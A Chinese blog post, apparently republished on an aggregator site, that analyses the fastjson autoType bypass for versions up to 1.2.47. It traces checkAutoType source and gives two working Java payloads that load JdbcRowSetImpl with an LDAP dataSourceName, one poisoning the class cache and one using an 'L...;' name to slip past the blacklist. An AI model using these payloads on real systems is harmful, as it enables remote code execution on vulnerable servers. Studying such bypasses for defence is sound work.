fastjson-小于1.2.47绕过

参考视频:fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

分析版本

fastjson1.2.24

JDK 8u141

分析流程

分析fastjson1.2.25更新的源码,用JsonBcel链跟进

先看修改的地方

fastjson1.2.24

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

fastjson1.2.25

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {String typeName = lexer.scanSymbol(symbolTable, '"');Class<?> clazz = config.checkAutoType(typeName, null);

可以看到loadClass的方法,被替换了,主要的安全逻辑就在替换的方法里,跟进看替换的方法Class<?> clazz = config.checkAutoType(typeName, null);

里面是很多if语句,黑白名单判断(分析写在注释)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {if (typeName == null) {return null;}final String className = typeName.replace('$', '.'); //替换下内部类符号if (autoTypeSupport || expectClass != null) {    //autoTypeSupport默认false,expectClass默认null,这个判断默认为falsefor (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];     //白名单默认为空if (className.startsWith(accept)) {return TypeUtils.loadClass(typeName, defaultClassLoader);}}for (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];    //黑名单,可以自己debug看看if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}}Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//先在缓存中查找if (clazz == null) {clazz = deserializers.findClass(typeName);//缓存没有在已有的反序列化器中查找}if (clazz != null) { //找到类进入次判断if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //做个判断throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}if (!autoTypeSupport) {//autoTypeSupport为truefor (int i = 0; i < denyList.length; ++i) {String deny = denyList[i];if (className.startsWith(deny)) {throw new JSONException("autoType is not support. " + typeName);}}for (int i = 0; i < acceptList.length; ++i) {String accept = acceptList[i];if (className.startsWith(accept)) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);if (expectClass != null && expectClass.isAssignableFrom(clazz)) {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;}}}if (autoTypeSupport || expectClass != null) {clazz = TypeUtils.loadClass(typeName, defaultClassLoader);}if (clazz != null) {if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver) {throw new JSONException("autoType is not support. " + typeName);}if (expectClass != null) {if (expectClass.isAssignableFrom(clazz)) {return clazz;} else {throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}}}if (!autoTypeSupport) {throw new JSONException("autoType is not support. " + typeName);}return clazz;
}

关于checkAutoType方法的流程图,我放在我的github上了Java反序列化学习 有帮助的话大家可以star一下

我在图中return的位置都拿绿色标记了,很明显我们要绕过检测必须控制流程走到return处。

攻击实现

autoTypeSupport参数为false

autoTypeSupport参数和白名单我们无法控制的条件下,我们发现只剩一个缓存加载的绕过方式了。下面看下能否利用。

发现缓存表mapping的put方式有两个位置,第一个位置很明显在初始化时被调用写入的缓存。

在这里插入图片描述

看第二个位置能否利用,是在loadClass里面,我们可以看到这个loadClass用法就是,在缓存中没找到的类加载时把这个类加进缓存中。

在这里插入图片描述

我们如果可以控制传参,并调用loadClass就可以把恶意类加入缓存中。之后继续找loadClass的调用

只有一处可能有利用点的地方,就是在MiscCodec下面,而MiscCodec继承了ObjectSerializer, ObjectDeserializer是个反序列化器。

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

而MiscCodec的利用就是在加载默认的反序列化器时,Class的反序列化器也是它。

deserializers.put(Class.class, MiscCodec.instance);

所以绕过思路有了,我们先反序列化一个Class,它的值为恶意类,之后再反序列化恶意类。

写payload时,要注意传值,让程序执行到我们要调用的位置。

return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());这里strVal是我们要传的恶意类名,看下怎么赋值的。

//MiscCodec#deserialze
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {parser.resolveStatus = DefaultJSONParser.NONE;parser.accept(JSONToken.COMMA);if (lexer.token() == JSONToken.LITERAL_STRING) {if (!"val".equals(lexer.stringVal())) {           //注意这里不能抛出异常,如果抛出异常程序就走不到loadClass处了,所以我们传入的属性名应为valthrow new JSONException("syntax error");}lexer.nextToken();} else {throw new JSONException("syntax error");}parser.accept(JSONToken.COLON);objVal = parser.parse();parser.accept(JSONToken.RBRACE);
} else {objVal = parser.parse();
}

下面就能写出payload了

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}}";JSONObject jsonObject = JSON.parseObject(s);}
}

跟一下利用流程

先看Class的反序列化

//ParserConfig#checkAutoType
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);   //在缓存中找不到
if (clazz == null) {clazz = deserializers.findClass(typeName);              //可以找到反序列化器,也就是MiscCodec,返回Class
}if (clazz != null) {                                        //进入此循环if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { //期望类为空,不进入此循环throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());}return clazz;   //返回Class
}

之后return调用

//defaultJSONParser#parseObject
ObjectDeserializer deserializer = config.getDeserializer(clazz);  //调用返回MiscCodec反序列化器
return deserializer.deserialze(this, clazz, fieldName); //MiscCodec.deserialze

MiscCodec.deserialze把传入的String(也就是com.sun.rowset.JdbcRowSetImpl),反序列化为Class对象

lexer.stringVal()==val

在这里插入图片描述

再往下走到

if (clazz == Class.class) {return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  //loadClass(com.sun.rowset.JdbcRowSetImpl),并存入缓存
}

之后回到

//defaultJSONParser#parseObject
return deserializer.deserialze(this, clazz, fieldName);  //MiscCodec.deserialze

之后进入下一轮循环,也就是反序列化com.sun.rowset.JdbcRowSetImpl

就不在这写了,下面流程在 fastjson-流程分析中写过了。

autoTypeSupport参数为true

如果autoTypeSupport开启的情况下,跟进流程图可以看到先过黑白名单之后才加载和返回类。

在上面分析时,我们也能注意到,在loadClass中有对传入类名的处理,对数组类进行处理,把L;,[,直接去掉后加载,这里绕过黑名单很容易。

public static Class<?> loadClass(String className, ClassLoader classLoader) {if (className == null || className.length() == 0) {return null;}Class<?> clazz = mappings.get(className);if (clazz != null) {return clazz;}if (className.charAt(0) == '[') {Class<?> componentType = loadClass(className.substring(1), classLoader);return Array.newInstance(componentType, 0).getClass();}if (className.startsWith("L") && className.endsWith(";")) {String newClassName = className.substring(1, className.length() - 1);return loadClass(newClassName, classLoader);}

payload

public class FastJsonBypass1 {public static void main(String[] args) throws Exception {ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //开启autoTypeSupport参数String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:10389/cn=Exp,dc=example,dc=com\",\"autoCommit\":0}";JSONObject jsonObject = JSON.parseObject(s);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390011.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

校园课程助手【4】-使用Elasticsearch实现课程检索

本节将介绍本项目的查询模块&#xff0c;使用Elasticsearch又不是查询接口&#xff0c;具体流程如图所示&#xff08;如果不了解Elasticsearch可以使用sql语句进行查询&#xff09;&#xff1a; 这里是两种方法的异同点&#xff1a; Mysql&#xff1a;擅长事务类型操作&#…

PHP苹果 V X iPhone微商i o s多分开V X语音转发密友朋友圈一键跟圈软件

苹果VX神器&#xff01;iPhone微商必备&#xff1a;ios多开、VX语音转发、密友朋友圈一键跟圈软件大揭秘&#xff01; 一、iOS多开新境界&#xff0c;工作生活两不误&#xff01; 你是不是也烦恼过&#xff0c;想要在工作号和生活号之间自由切换&#xff0c;却因为iPhone的限制…

【C++程序设计】——利用数组处理批量数据(一)

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-削好皮的Pineapple! &#x1f468;‍&#x1f4bb; hello 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 削好皮的Pineapple! 原创 &#x1f468;‍&#x1f4…

【LeetCode每日一题】盛最多水的容器

思路 标签:双指针&#xff0c;贪心 分析&#xff1a; 首先选两条线为容器的两端&#xff0c;盛水的高度取决于高度小的那条线&#xff0c;此时在两条线中间选一条线&#xff0c;有两种情况&#xff0c;如果区间内某条线比两端高度小的那条线还要小&#xff0c;此时宽度和高度…

PLC控制器-耦合变压器的作用

华强盛电子导读&#xff1a;PLC耦合变压器 &#xff0c;前面199中间2643后面0038完。 耦合变压器在电子电路中扮演着重要的角色&#xff0c;尤其是在模拟电路的构建中。它的主要作用可以从以下几个方面进行详细阐述&#xff1a; 1. **信号耦合**&#xff1a; - 耦合变压器…

C++ : namespace,输入与输出,函数重载,缺省参数

一&#xff0c;命名空间(namespace) 1.1命名空间的作用与定义 我们在学习c的过程中&#xff0c;经常会碰到命名冲突的情况。就拿我们在c语言中的一个string函数来说吧&#xff1a; int strncat 0; int main() {printf("%d", strncat);return 0; } 当我们运行之后&…

大型赛事5G室内无线网络保障方案

大型活动往往才是国家综合实力的重要体现&#xff0c;其无线网络通信保障工作需融合各类新兴的5G业务应用&#xff0c;是一项技术难度高、方案复杂度高的系统工程。尤其在活动人员复杂、现场突发情况多、网络不稳定等情况下&#xff0c;如何形成一套高效、稳定的应急通信解决方…

C++入门级文章

一、一个用于查询C标准库内函数、操作符等的链接 https://legacy.cplusplus.com/reference/ 声明&#xff1a;该文档并非官方文档&#xff0c;但其具有易于查询和使用的优势&#xff0c;足够日常使用。 二、C的第一个程序 1、C语言中的语法在C中仍旧适用&#xff0c;首先我们来…

无人机无刷电机技术详解及选型

1. 技术原理 无人机无刷电机&#xff08;Brushless DC Motor, BLDC&#xff09;是现代无人机动力系统的核心部件&#xff0c;其工作原理基于电磁感应和换向技术&#xff0c;实现了无需物理接触即可持续旋转的高效率动力输出。与传统有刷电机相比&#xff0c;无刷电机通过电子换…

Java入门、进阶、强化、扩展、知识体系完善等知识点学习、性能优化、源码分析专栏分享

场景 作为一名Java开发者&#xff0c;势必经历过从入门到自学、从基础到进阶、从学习到强化的过程。 当经历过几年企业级开发的磨炼&#xff0c;再回头看之前的开发过程、成长阶段发现确实是走了好多的弯路。 作为一名终身学习的信奉者&#xff0c;秉承Java体系需持续学习、…

【C++高阶】:C++11的深度解析上

✨ 心似白云常自在&#xff0c;意如流水任东西 &#x1f30f; &#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;C学习 &#x1f680; 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f4…

Spring Cache框架(AOP思想)+ Redis实现数据缓存

文章目录 1 简介1.1 基本介绍1.2 为什么要用 Spring Cache&#xff1f; 2 使用方法2.1 依赖导入&#xff08;Maven&#xff09;2.2 常用注解2.3 使用步骤2.4 常用注解说明1&#xff09;EnableCaching2&#xff09;CachePut3&#xff09;Cacheable4&#xff09;CacheEvict 3 注意…

数据库相关概念大全!

一、什么是数据库&#xff1f; 1.数据库 数据库是一种更易于访问、更高效且更有条理的长期存储和处理信息的方式。 2. 优点&#xff0c;作用 数据库存储数据的规范性和系统性以及其检索数据的便捷性使其成为基于 Web 的应用程序中重要的部分。 数据库几乎可以用于所有应用程…

java中InputStream, OutputStream 的用法

java针对文件的操作有两种1.文件系统操作 File类指定的路径可以使一个不存在的路径。2&#xff0c;文件内容操作&#xff0c;流对象。 流也分为两种1)字节流&#xff08;二进制文件&#xff09;&#xff1a;以字节为基本单位读写的使用InputStream&#xff08;&#xff09;和Ou…

FFmpeg源码:av_gcd函数分析

一、引言 公约数&#xff0c;是一个能同时整除几个整数的数。如果一个整数同时是几个整数的约数&#xff0c;称这个整数为它们的“公约数”&#xff1b;公约数中最大的称为最大公约数。对任意的若干个正整数&#xff0c;1总是它们的公约数。 公约数与公倍数相反&#xff0c;就…

DB-Engines Ranking 2024年8月数据库排行

DB-Engines Ranking 2024年8月数据库排行 DB-Engines排名根据数据库管理系统的受欢迎程度进行排名。排名每月更新一次。 2024年8月&#xff0c;共有423个数据库进入排行。 排行榜 前15名趋势图 关系型数据库前 10 名 键值数据库前 10 名 文档数据库前 10 名 时序数据库前 10 …

Google引领LLM竞赛:Gemini 1.5 Pro的创新与突破

在科技领域&#xff0c;语言模型&#xff08;LLM, Large Language Model&#xff09;的发展总是备受瞩目。多年来&#xff0c;Google在这场竞赛中一直处于追赶的状态&#xff0c;但这一次&#xff0c;他们终于站在了领先的位置。Google近日发布了Gemini 1.5 Pro实验版本&#x…

Nginx进阶-常见配置

一、nginx Proxy 反向代理 1、代理原理 反向代理产生的背景&#xff1a; 在计算机世界里&#xff0c;由于单个服务器的处理客户端&#xff08;用户&#xff09;请求能力有一个极限&#xff0c;当用户的接入请求蜂拥而入时&#xff0c;会造成服务器忙不过来的局面&#xff0c…

Unity后处理(Post-processing)

Unity post-processing 就像是对图片采用滤镜一样&#xff08;如下图对比&#xff09;对当前场景显示做一定的显示处理&#xff0c;使得场景更漂亮、有趣或者有型。 视觉风格与视觉保真 游戏场景后处理能够达到所需的视觉风格&#xff08;visual style&#xff09;同时也保证视…